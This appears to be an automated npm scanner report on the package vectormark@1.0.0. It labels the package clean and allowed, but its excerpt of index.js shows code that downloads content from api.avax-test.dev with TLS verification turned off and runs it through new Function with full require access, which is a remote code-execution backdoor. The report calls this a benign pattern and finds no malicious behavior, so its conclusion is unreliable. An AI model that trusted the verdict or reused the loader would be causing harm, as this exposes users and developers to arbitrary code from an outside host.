vectormark@1.0.0: Clean npm security report (Allow)

Static Scan Results

scanned 2d ago · by rust-scanner

Static analysis completed at 65.0% confidence. No malicious behavior was detected; 7 low-signal pattern(s) were surfaced and cleared.

Static reason

No blocking static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.80 KB of source, external domains: api.avax-test.dev

Source & flagged code

2 flagged

index.jsView file

81L82: const https = require('https'); L83: const request = require('request'); ... L87: const AVALANCHE_FUJI_RPC_URL = L88: process.env.AVALANCHE_FUJI_RPC_URL || L89: "https://api.avax-test.dev/ext/bc/C/rpc"; ... L91: https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res => L92: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L93: };

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L81

91https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res => L92: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L93: };

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L91

Source & flagged code

2 flagged · loading source

index.jsView file

81L82: const https = require('https'); L83: const request = require('request'); ... L87: const AVALANCHE_FUJI_RPC_URL = L88: process.env.AVALANCHE_FUJI_RPC_URL || L89: "https://api.avax-test.dev/ext/bc/C/rpc"; ... L91: https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res => L92: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L93: };

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L81

91https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res => L92: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L93: };

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L91

Findings

2 High2 Medium3 Low

HighChild Process

HighSame File Env Network Executionindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowEvalindex.js

LowUrl Strings